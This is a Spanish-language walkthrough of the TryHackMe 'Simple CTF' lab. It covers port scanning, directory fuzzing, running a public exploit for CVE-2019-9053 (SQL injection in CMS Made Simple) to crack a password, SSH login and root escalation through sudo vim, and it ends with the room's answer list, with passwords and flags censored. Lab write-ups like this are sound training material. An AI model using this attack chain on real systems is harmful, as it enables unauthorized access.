TryHackMe - Simple CTF
Sencillo pero no tan fácil
Introducción
Se supone que este es un CTF de nivel principiante, así que echemos un vistazo.
Fue bastante simple, solo que me costó un poco.
Nmap
Comencemos con el escaneo de nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.112.164
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.11.75.122
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 2 disallowed entries
|_/ /openemr-5_0_1_3
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
| 256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_ 256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Puertos abiertos:
21/tcp
80/tcp
2222/tcp
Reconocimiento
Vamos a comprobar si hay directorios y archivos
1
2
3
4
5
6
7
8
9
10
ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -u "http://10.10.112.164/FUZZ" -fl 124
[Status: 200, Size: 11321, Words: 3503, Lines: 376, Duration: 43ms]
.htpasswd [Status: 403, Size: 297, Words: 22, Lines: 12, Duration: 45ms]
.hta [Status: 403, Size: 292, Words: 22, Lines: 12, Duration: 45ms]
.htaccess [Status: 403, Size: 297, Words: 22, Lines: 12, Duration: 3456ms]
index.html [Status: 200, Size: 11321, Words: 3503, Lines: 376, Duration: 43ms]
robots.txt [Status: 200, Size: 929, Words: 176, Lines: 33, Duration: 45ms]
server-status [Status: 403, Size: 301, Words: 22, Lines: 12, Duration: 43ms]
simple [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 42ms]
:: Progress: [4614/4614] :: Job [1/1] :: 956 req/sec :: Duration: [0:00:08] :: Errors: 0 ::
Bien, podemos consultar la subpágina simple que parece ser Simple CMS
Dado que la sala nos ha guiado hacia la inyección SQL, busqué en Google algunos CVE y encontré CVE-2019-9053
Vamos a descargarlo de exploit.db
Usando el exploit en el sitio web de CMS podemos forzar las credenciales
1
python3 46635.py -u http://10.10.112.164 --crack -w /usr/share/wordlists/rockyou.txt
Y estamos obteniendo las credenciales
1
2
Username: mitch
Password: <CENSORED>
Bandera de usuario
Podemos iniciar sesión usando nuestras credenciales
1
2
3
ssh mitch@10.10.112.164
cat user.txt
<CENSORED>
Escalada de privilegios
Primero creamos un shell normal y luego verificamos si podemos ejecutar algo como sudo
1
2
3
4
python -c "import pty; pty.spawn('/bin/bash')"
sudo -l
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim
Ok, entonces podemos simplemente ejecutar vim
como root
1
sudo vim
Aparecerá una nueva ventana, simplemente nos generamos un shell root y presionamos enter
Bandera Root
Y nos olvidamos de responder las preguntas:
¿Cuántos servicios se están ejecutando en el puerto 1000?
Respuesta:
1
2
¿Qué se está ejecutando en el puerto superior?
Respuesta:
1
ssh
¿Cuál es el CVE que estás usando contra la aplicación?
Respuesta:
1
CVE-2019-9053
¿A qué tipo de vulnerabilidad es vulnerable la aplicación?
Respuesta:
1
sqli
¿Cuál es la contraseña?
Respuesta:
1
<CENSORED>
¿Dónde puedo iniciar sesión con los datos obtenidos?
Respuesta:
1
ssh
¿Cual es la bandera de usuario?
Respuesta:
1
<CENSORED>
¿Hay algún otro usuario en el directorio de inicio? ¿Cómo se llama?
Respuesta:
1
sunbath
¿Qué puedes aprovechar para generar un shell privilegiado?
Respuesta:
1
vim
¿Cuál es la bandera root?
Respuesta:
1
<CENSORED>